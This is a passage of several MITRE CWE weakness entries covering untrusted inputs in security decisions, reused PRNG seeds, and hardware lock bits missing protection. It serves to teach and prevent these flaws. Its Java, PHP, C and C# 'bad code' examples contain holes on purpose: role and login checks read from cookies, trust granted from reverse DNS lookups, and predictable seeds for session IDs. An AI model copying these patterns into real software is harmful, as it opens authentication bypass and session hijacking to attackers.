Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
Impact Details

Bypass Protection Mechanism; Gain Privileges or Assume Identity; Varies by Context

Scope: Confidentiality, Access Control, Availability, Other

Attackers can bypass the security decision to access whatever is being protected. The consequences will depend on the associated functionality, but they can range from granting additional privileges to untrusted users to bypassing important security checks. Ultimately, this weakness may lead to exposure or modification of sensitive data, system crash, or execution of arbitrary code.
+ Potential Mitigations
Phase(s) Mitigation

Architecture and Design

Strategy: Attack Surface Reduction

Store state information and sensitive data on the server side only.

Ensure that the system definitively and unambiguously keeps track of its own state and user state and has rules defined for legitimate state transitions. Do not allow any application user to affect state directly in any way other than through legitimate actions leading to state transitions.

If information must be stored on the client, do not do so without encryption and integrity checking, or otherwise having a mechanism on the server side to catch tampering. Use a message authentication code (MAC) algorithm, such as Hash Message Authentication Code (HMAC) [REF-529]. Apply this against the state or sensitive data that has to be exposed, which can guarantee the integrity of the data - i.e., that the data has not been modified. Ensure that a strong hash function is used (CWE-328).

Architecture and Design

Strategy: Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

With a stateless protocol such as HTTP, use a framework that maintains the state for you.

Examples include ASP.NET View State [REF-756] and the OWASP ESAPI Session Management feature [REF-45].

Be careful of language features that provide state support, since these might be provided as a convenience to the programmer and may not be considering security.

Architecture and Design
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Operation; Implementation

Strategy: Environment Hardening

When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.

Architecture and Design; Implementation

Strategy: Attack Surface Reduction

Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls.

Identify all inputs that are used for security decisions and determine if you can modify the design so that you do not have to rely on submitted inputs at all. For example, you may be able to keep critical information about the user's session on the server side instead of recording it within external data.
+ Relationships
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (View-1000)
Nature Type ID Name
ChildOf Pillar Pillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things. 693 Protection Mechanism Failure
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 302 Authentication Bypass by Assumed-Immutable Data
ParentOf Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. 350 Reliance on Reverse DNS Resolution for a Security-Critical Action
ParentOf Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. 784 Reliance on Cookies without Validation and Integrity Checking in a Security Decision
+ Relevant to the view "Software Development" (View-699)
Nature Type ID Name
MemberOf Category Category - a CWE entry that contains a set of other entries that share a common characteristic. 1006 Bad Coding Practices
+ Relevant to the view "Architectural Concepts" (View-1008)
Nature Type ID Name
MemberOf Category Category - a CWE entry that contains a set of other entries that share a common characteristic. 1012 Cross Cutting
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
Phase Note
Architecture and Design COMMISSION: This weakness refers to an incorrect design related to an architectural security tactic.
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.
Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Likelihood Of Exploit
High
+ Demonstrative Examples

Example 1


The following code excerpt reads a value from a browser cookie to determine the role of the user.

(bad code)
Example Language: Java 
Cookie[] cookies = request.getCookies();
for (int i =0; i< cookies.length; i++) {
Cookie c = cookies[i];
if (c.getName().equals("role")) {
userRole = c.getValue();
}
}


Example 2


The following code could be for a medical records application. It performs authentication by checking if a cookie has been set.

(bad code)
Example Language: PHP 
$auth = $_COOKIES['authenticated'];
if (! $auth) {
if (AuthenticateUser($_POST['user'], $_POST['password']) == "success") {
// save the cookie to send out in future responses
setcookie("authenticated", "1", time()+60*60*2);
}
else {
ShowLoginScreen();
die("\n");
}
}
DisplayMedicalHistory($_POST['patient_ID']);

The programmer expects that the AuthenticateUser() check will always be applied, and the "authenticated" cookie will only be set when authentication succeeds. The programmer even diligently specifies a 2-hour expiration for the cookie.

However, the attacker can set the "authenticated" cookie to a non-zero value such as 1. As a result, the $auth variable is 1, and the AuthenticateUser() check is not even performed. The attacker has bypassed the authentication.



Example 3


In the following example, an authentication flag is read from a browser cookie, thus allowing for external control of user state data.

(bad code)
Example Language: Java 
Cookie[] cookies = request.getCookies();
for (int i =0; i< cookies.length; i++) {
Cookie c = cookies[i];
if (c.getName().equals("authenticated") && Boolean.TRUE.equals(c.getValue())) {
authenticated = true;
}
}


Example 4


The following code samples use a DNS lookup in order to decide whether or not an inbound request is from a trusted host. If an attacker can poison the DNS cache, they can gain trusted status.

(bad code)
Example Language: C 
struct hostent *hp;struct in_addr myaddr;
char* tHost = "trustme.example.com";
myaddr.s_addr=inet_addr(ip_addr_string);

hp = gethostbyaddr((char *) &myaddr, sizeof(struct in_addr), AF_INET);
if (hp && !strncmp(hp->h_name, tHost, sizeof(tHost))) {
trusted = true;
} else {
trusted = false;
}
(bad code)
Example Language: Java 
String ip = request.getRemoteAddr();
InetAddress addr = InetAddress.getByName(ip);
if (addr.getCanonicalHostName().endsWith("trustme.com")) {
trusted = true;
}
(bad code)
Example Language: C# 
IPAddress hostIPAddress = IPAddress.Parse(RemoteIpAddress);
IPHostEntry hostInfo = Dns.GetHostByAddress(hostIPAddress);
if (hostInfo.HostName.EndsWith("trustme.com")) {
trusted = true;
}

IP addresses are more reliable than DNS names, but they can also be spoofed. Attackers can easily forge the source IP address of the packets they send, but response packets will return to the forged IP address. To see the response packets, the attacker has to sniff the traffic between the victim machine and the forged IP address. In order to accomplish the required sniffing, attackers typically attempt to locate themselves on the same subnet as the victim machine. Attackers may be able to circumvent this requirement by using source routing, but source routing is disabled across much of the Internet today. In summary, IP address verification can be a useful part of an authentication scheme, but it should not be the single factor required for authentication.



+ Selected Observed Examples

Note: this is a curated list of examples for users to understand the variety of ways in which this weakness can be introduced. It is not a complete list of all CVEs that are related to this CWE entry.

Reference Description
Attacker can bypass authentication by setting a cookie to a specific value.
Attacker can bypass authentication and gain admin privileges by setting an "admin" cookie to 1.
Content management system allows admin privileges by setting a "login" cookie to "OK."
e-dating application allows admin privileges by setting the admin cookie to 1.
Web-based email list manager allows attackers to gain admin privileges by setting a login cookie to "admin."
+ Detection Methods
Method Details

Manual Static Analysis
Since this weakness does not typically appear frequently within a single software package, manual white box techniques may be able to provide sufficient code coverage and reduction of false positives if all potentially-vulnerable operations can be assessed within limited time constraints.

Effectiveness: High

Note:The effectiveness and speed of manual analysis will be reduced if the there is not a centralized security mechanism, and the security logic is widely distributed throughout the software.

Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Bytecode Weakness Analysis - including disassembler + source code weakness analysis
  • Binary Weakness Analysis - including disassembler + source code weakness analysis

Effectiveness: SOAR Partial

Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Effectiveness: SOAR Partial

Dynamic Analysis with Automated Results Interpretation

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Web Application Scanner
  • Web Services Scanner
  • Database Scanners

Effectiveness: SOAR Partial

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Fuzz Tester
  • Framework-based Fuzzer
  • Monitored Virtual Environment - run potentially malicious code in sandbox / wrapper / virtual machine, see if it does anything suspicious

Effectiveness: SOAR Partial

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Manual Source Code Review (not inspections)

Effectiveness: High

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Source code Weakness Analyzer
  • Context-configured Source Code Weakness Analyzer

Effectiveness: SOAR Partial

Architecture or Design Review

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)
  • Formal Methods / Correct-By-Construction
Cost effective for partial coverage:
  • Attack Modeling

Effectiveness: High
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
Nature Type ID Name
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 803 2010 Top 25 - Porous Defenses
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 859 The CERT Oracle Secure Coding Standard for Java (2011) Chapter 16 - Platform Security (SEC)
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 866 2011 Top 25 - Porous Defenses
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 878 CERT C++ Secure Coding Section 10 - Environment (ENV)
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 884 CWE Cross-section
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1348 OWASP Top Ten 2021 Category A04:2021 - Insecure Design
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1365 ICS Communications: Unreliability
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1373 ICS Engineering (Construction/Deployment): Trust Model Problems
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1413 Comprehensive Categorization: Protection Mechanism Failure
+ Vulnerability Mapping Notes
Usage ALLOWED
(this CWE ID may be used to map to real-world vulnerabilities)
Reason Acceptable-Use

Rationale

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy Name Node ID Fit Mapped Node Name
The CERT Oracle Secure Coding Standard for Java (2011) SEC09-J Do not base security checks on untrusted sources
+ References
[REF-754] Frank Kim. "Top 25 Series - Rank 6 - Reliance on Untrusted Inputs in a Security Decision". SANS Software Security Institute. 2010-03-05.
<https://www.sans.org/blog/top-25-series-rank-6-reliance-on-untrusted-inputs-in-a-security-decision/>. (URL validated: 2023-04-07)
[REF-529] "HMAC". Wikipedia. 2011-08-18.
<https://en.wikipedia.org/wiki/HMAC>. (URL validated: 2023-04-07)
[REF-756] Scott Mitchell. "Understanding ASP.NET View State". Microsoft. 2004-05-15.
<https://learn.microsoft.com/en-us/previous-versions/dotnet/articles/ms972976(v=msdn.10)?redirectedfrom=MSDN>. (URL validated: 2023-04-07)
[REF-45] OWASP. "OWASP Enterprise Security API (ESAPI) Project".
<http://www.owasp.org/index.php/ESAPI>.
+ Content History
+ Submissions
Submission Date Submitter Organization
2010-01-18
(CWE 1.8, 2010-02-16) 		CWE Content Team MITRE
+ Modifications
Modification Date Modifier Organization
2023-06-29 CWE Content Team MITRE
updated Mapping_Notes, Relationships
2023-04-27 CWE Content Team MITRE
updated Potential_Mitigations, References, Relationships
2023-01-31 CWE Content Team MITRE
updated Description
2022-04-28 CWE Content Team MITRE
updated Relationships
2021-10-28 CWE Content Team MITRE
updated Relationships
2020-02-24 CWE Content Team MITRE
updated Relationships
2019-01-03 CWE Content Team MITRE
updated Taxonomy_Mappings
2017-11-08 CWE Content Team MITRE
updated Likelihood_of_Exploit, Modes_of_Introduction, References, Relationships, Taxonomy_Mappings
2017-01-19 CWE Content Team MITRE
updated Related_Attack_Patterns
2014-07-30 CWE Content Team MITRE
updated Detection_Factors
2014-02-18 CWE Content Team MITRE
updated Potential_Mitigations
2013-07-17 CWE Content Team MITRE
updated Relationships
2012-10-30 CWE Content Team MITRE
updated Potential_Mitigations
2012-05-11 CWE Content Team MITRE
updated Demonstrative_Examples, References, Relationships
2011-09-13 CWE Content Team MITRE
updated Potential_Mitigations, References, Relationships, Taxonomy_Mappings
2011-06-27 CWE Content Team MITRE
updated Common_Consequences, Relationships
2011-06-01 CWE Content Team MITRE
updated Common_Consequences
2010-09-27 CWE Content Team MITRE
updated Potential_Mitigations
2010-06-21 CWE Content Team MITRE
updated Common_Consequences, Potential_Mitigations, References
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CWE-336: Same Seed in Pseudo-Random Number Generator (PRNG)

Weakness ID: 336
Vulnerability Mapping: ALLOWED This CWE ID may be used to map to real-world vulnerabilities
Abstraction: Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
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Edit Custom Filter


+ Description
A Pseudo-Random Number Generator (PRNG) uses the same seed each time the product is initialized.
+ Extended Description
Given the deterministic nature of PRNGs, using the same seed for each initialization will lead to the same output in the same order. If an attacker can guess (or knows) the seed, then the attacker may be able to determine the random numbers that will be produced from the PRNG.
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
Impact Details

Other; Bypass Protection Mechanism

Scope: Other, Access Control

+ Potential Mitigations
Phase(s) Mitigation

Architecture and Design
Do not reuse PRNG seeds. Consider a PRNG that periodically re-seeds itself as needed from a high quality pseudo-random output, such as hardware devices.

Architecture and Design; Requirements

Strategy: Libraries or Frameworks

Use products or modules that conform to FIPS 140-2 [REF-267] to avoid obvious entropy problems, or use the more recent FIPS 140-3 [REF-1192] if possible.
+ Relationships
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (View-1000)
Nature Type ID Name
ChildOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 335 Incorrect Usage of Seeds in Pseudo-Random Number Generator (PRNG)
+ Relevant to the view "Architectural Concepts" (View-1008)
Nature Type ID Name
MemberOf Category Category - a CWE entry that contains a set of other entries that share a common characteristic. 1013 Encrypt Data
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
Phase Note
Implementation REALIZATION: This weakness is caused during implementation of an architectural security tactic.
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.
Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Demonstrative Examples

Example 1


The following code uses a statistical PRNG to generate account IDs.

(bad code)
Example Language: Java 
private static final long SEED = 1234567890;
public int generateAccountID() {
Random random = new Random(SEED);
return random.nextInt();
}

Because the program uses the same seed value for every invocation of the PRNG, its values are predictable, making the system vulnerable to attack.



Example 2


This code attempts to generate a unique random identifier for a user's session.

(bad code)
Example Language: PHP 
function generateSessionID($userID){
srand($userID);
return rand();
}

Because the seed for the PRNG is always the user's ID, the session ID will always be the same. An attacker could thus predict any user's session ID and potentially hijack the session.

If the user IDs are generated sequentially, or otherwise restricted to a narrow range of values, then this example also exhibits a Small Seed Space (CWE-339).



+ Selected Observed Examples

Note: this is a curated list of examples for users to understand the variety of ways in which this weakness can be introduced. It is not a complete list of all CVEs that are related to this CWE entry.

Reference Description
SDK for JavaScript app builder for serverless code uses the same fixed seed for a PRNG, allowing cryptography bypass
+ Detection Methods
Method Details

Automated Static Analysis
Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
Nature Type ID Name
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 861 The CERT Oracle Secure Coding Standard for Java (2011) Chapter 18 - Miscellaneous (MSC)
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 905 SFP Primary Cluster: Predictability
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1152 SEI CERT Oracle Secure Coding Standard for Java - Guidelines 49. Miscellaneous (MSC)
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1346 OWASP Top Ten 2021 Category A02:2021 - Cryptographic Failures
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1366 ICS Communications: Frail Security in Protocols
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1414 Comprehensive Categorization: Randomness
+ Vulnerability Mapping Notes
Usage ALLOWED
(this CWE ID may be used to map to real-world vulnerabilities)
Reason Acceptable-Use

Rationale

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Maintenance

As of CWE 4.5, terminology related to randomness, entropy, and predictability can vary widely. Within the developer and other communities, "randomness" is used heavily. However, within cryptography, "entropy" is distinct, typically implied as a measurement. There are no commonly-used definitions, even within standards documents and cryptography papers. Future versions of CWE will attempt to define these terms and, if necessary, distinguish between them in ways that are appropriate for different communities but do not reduce the usability of CWE for mapping, understanding, or other scenarios.
+ Taxonomy Mappings
Mapped Taxonomy Name Node ID Fit Mapped Node Name
PLOVER Same Seed in PRNG
The CERT Oracle Secure Coding Standard for Java (2011) MSC02-J Generate strong random numbers
+ References
[REF-267] Information Technology Laboratory, National Institute of Standards and Technology. "SECURITY REQUIREMENTS FOR CRYPTOGRAPHIC MODULES". Annex C, Approved Random Number Generators. 2001-05-25.
<https://csrc.nist.gov/csrc/media/publications/fips/140/2/final/documents/fips1402.pdf>. (URL validated: 2023-04-07)
[REF-1192] Information Technology Laboratory, National Institute of Standards and Technology. "FIPS PUB 140-3: SECURITY REQUIREMENTS FOR CRYPTOGRAPHIC MODULES". 2019-03-22.
<https://csrc.nist.gov/publications/detail/fips/140/3/final>.
+ Content History
+ Submissions
Submission Date Submitter Organization
2006-07-19
(CWE Draft 3, 2006-07-19) 		PLOVER
+ Modifications
Modification Date Modifier Organization
2023-10-26 CWE Content Team MITRE
updated Demonstrative_Examples, Observed_Examples
2023-06-29 CWE Content Team MITRE
updated Mapping_Notes, Relationships
2023-04-27 CWE Content Team MITRE
updated Detection_Factors, Modes_of_Introduction, References, Relationships, Time_of_Introduction
2021-10-28 CWE Content Team MITRE
updated Relationships
2021-07-20 CWE Content Team MITRE
updated Demonstrative_Examples, Description, Maintenance_Notes, Modes_of_Introduction, Potential_Mitigations, References
2020-02-24 CWE Content Team MITRE
updated Relationships
2019-06-20 CWE Content Team MITRE
updated Type
2019-01-03 CWE Content Team MITRE
updated Relationships, Taxonomy_Mappings
2017-11-08 CWE Content Team MITRE
updated Applicable_Platforms, Description, Modes_of_Introduction, Name, References, Relationships
2014-07-30 CWE Content Team MITRE
updated Demonstrative_Examples
2012-05-11 CWE Content Team MITRE
updated Relationships
2011-09-13 CWE Content Team MITRE
updated Potential_Mitigations, References
2011-06-01 CWE Content Team MITRE
updated Common_Consequences, Relationships, Taxonomy_Mappings
2010-06-21 CWE Content Team MITRE
updated Potential_Mitigations
2009-12-28 CWE Content Team MITRE
updated Potential_Mitigations
2009-03-10 CWE Content Team MITRE
updated Potential_Mitigations
2008-09-08 CWE Content Team MITRE
updated Relationships, Taxonomy_Mappings
2008-07-01 Eric Dalci Cigital
updated Time_of_Introduction
2008-07-01 Sean Eidemiller Cigital
added/updated demonstrative examples
+ Previous Entry Names
Change Date Previous Entry Name
2017-11-08 Same Seed in PRNG
Back to top

CWE-1233: Security-Sensitive Hardware Controls with Missing Lock Bit Protection

Weakness ID: 1233
Vulnerability Mapping: ALLOWED This CWE ID may be used to map to real-world vulnerabilities
Abstraction: Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
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+ Description
The product uses a register lock bit protection mechanism, but it does not ensure that the lock bit prevents modification of system registers or controls that perform changes to important hardware system configuration.
+ Extended Description

Integrated circuits and hardware intellectual properties (IPs) might provide device configuration controls that need to be programmed after device power reset by a trusted firmware or software module, commonly set by BIOS/bootloader. After reset, there can be an expectation that the controls cannot be used to perform any further modification. This behavior is commonly implemented using a trusted lock bit, which can be set to disable writes to a protected set of registers or address regions. The lock protection is intended to prevent modification of certain system configuration (e.g., memory/memory protection unit configuration).

However, if the lock bit does not effectively write-protect all system registers or controls that could modify the protected system configuration, then an adversary may be able to use software to access the registers/controls and modify the protected hardware configuration.

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
Impact Details

Modify Memory

Scope: Access Control

System Configuration protected by the lock bit can be modified even when the lock is set.
+ Potential Mitigations
Phase(s) Mitigation

Architecture and Design; Implementation; Testing
  • Security lock bit protections must be reviewed for design inconsistency and common weaknesses.
  • Security lock programming flow and lock properties must be tested in pre-silicon and post-silicon testing.
+ Relationships
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (View-1000)
Nature Type ID Name
ChildOf Pillar Pillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things. 284 Improper Access Control
ChildOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 667 Improper Locking
+ Relevant to the view "Hardware Design" (View-1194)
Nature Type ID Name
MemberOf Category Category - a CWE entry that contains a set of other entries that share a common characteristic. 1199 General Circuit and Logic Design Concerns
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
Phase Note
Architecture and Design Such issues could be introduced during hardware architecture and design and identified later during Testing or System Configuration phases.
Implementation Such issues could be introduced during implementation and identified later during Testing or System Configuration phases.
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.
Languages

Class: Not Language-Specific (Undetermined Prevalence)

Operating Systems

Class: Not OS-Specific (Undetermined Prevalence)

Architectures

Class: Not Architecture-Specific (Undetermined Prevalence)

Technologies

Class: Not Technology-Specific (Undetermined Prevalence)

+ Demonstrative Examples

Example 1


Consider the example design below for a digital thermal sensor that detects overheating of the silicon and triggers system shutdown. The system critical temperature limit (CRITICAL_TEMP_LIMIT) and thermal sensor calibration (TEMP_SENSOR_CALIB) data have to be programmed by the firmware.

(bad code)
Example Language: Other 
Register Field description
CRITICAL_TEMP_LIMIT [31:8] Reserved field; Read only; Default 0
[7:0] Critical temp 0-255 Centigrade; Read-write-lock; Default 125
TEMP_SENSOR_CALIB [31:0] Thermal sensor calibration data. A slope value used to map sensor reading to a degree Centigrade. Read-write; Default 25
TEMP_SENSOR_LOCK [31:1] Reserved field; Read only; Default 0
[0] Lock bit, locks CRITICAL_TEMP_LIMIT register; Write-1-once; Default 0
TEMP_HW_SHUTDOWN [31:2] Reserved field; Read only; Default 0
[1] Enable hardware shutdown on a critical temperature detection; Read-write; Default 0
CURRENT_TEMP [31:8] Reserved field; Read only; Default 0
[7:0] Current Temp 0-255 Centigrade; Read-only; Default 0

In this example note that only the CRITICAL_TEMP_LIMIT register is protected by the TEMP_SENSOR_LOCK bit, while the security design intent is to protect any modification of the critical temperature detection and response.

The response of the system, if the system heats to a critical temperature, is controlled by TEMP_HW_SHUTDOWN bit [1], which is not lockable. Also, the TEMP_SENSOR_CALIB register is not protected by the lock bit.

By modifying the temperature sensor calibration, the conversion of the sensor data to a degree centigrade can be changed, such that the current temperature will never be detected to exceed critical temperature value programmed by the protected lock.

Similarly, by modifying the TEMP_HW_SHUTDOWN.Enable bit, the system response detection of the current temperature exceeding critical temperature can be disabled.

(good code)
Example Language: Other 

Change TEMP_HW_SHUTDOWN and TEMP_SENSOR_CALIB controls to be locked by TEMP_SENSOR_LOCK.

TEMP_SENSOR_CALIB [31:0] Thermal sensor calibration data. A slope value used to map sensor reading to a degree Centigrade. Read-write-Lock; Default 25; Locked by TEMP_SENSOR_LOCK bit[0]
TEMP_HW_SHUTDOWN [31:2] Reserved field; Read only; Default 0

[1] Enable hardware shutdown on critical temperature detection; Read-write-Lock; Default 0; Locked by TEMP_SENSOR_LOCK bit[0]


+ Selected Observed Examples

Note: this is a curated list of examples for users to understand the variety of ways in which this weakness can be introduced. It is not a complete list of all CVEs that are related to this CWE entry.

Reference Description
Certain servers leave a write protection lock bit unset after boot, potentially allowing modification of parts of flash memory.
Chain: chipset has a race condition (CWE-362) between when an interrupt handler detects an attempt to write-enable the BIOS (in violation of the lock bit), and when the handler resets the write-enable bit back to 0, allowing attackers to issue BIOS writes during the timing window [REF-1237].
+ Weakness Ordinalities
Ordinality Description
Primary
(where the weakness exists independent of other weaknesses)
+ Detection Methods
Method Details

Manual Analysis
Set the lock bit. Attempt to modify the information protected by the lock bit. If the information is changed, implement a design fix. Retest. Also, attempt to indirectly clear the lock bit or bypass it.

Effectiveness: High
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
Nature Type ID Name
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 1343 Weaknesses in the 2021 CWE Most Important Hardware Weaknesses List
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1372 ICS Supply Chain: OT Counterfeit and Malicious Corruption
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1396 Comprehensive Categorization: Access Control
+ Vulnerability Mapping Notes
Usage ALLOWED
(this CWE ID may be used to map to real-world vulnerabilities)
Reason Acceptable-Use

Rationale

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ References
[REF-1237] CERT Coordination Center. "Intel BIOS locking mechanism contains race condition that enables write protection bypass". 2015-01-05.
<https://www.kb.cert.org/vuls/id/766164/>.
+ Content History
+ Submissions
Submission Date Submitter Organization
2020-01-15
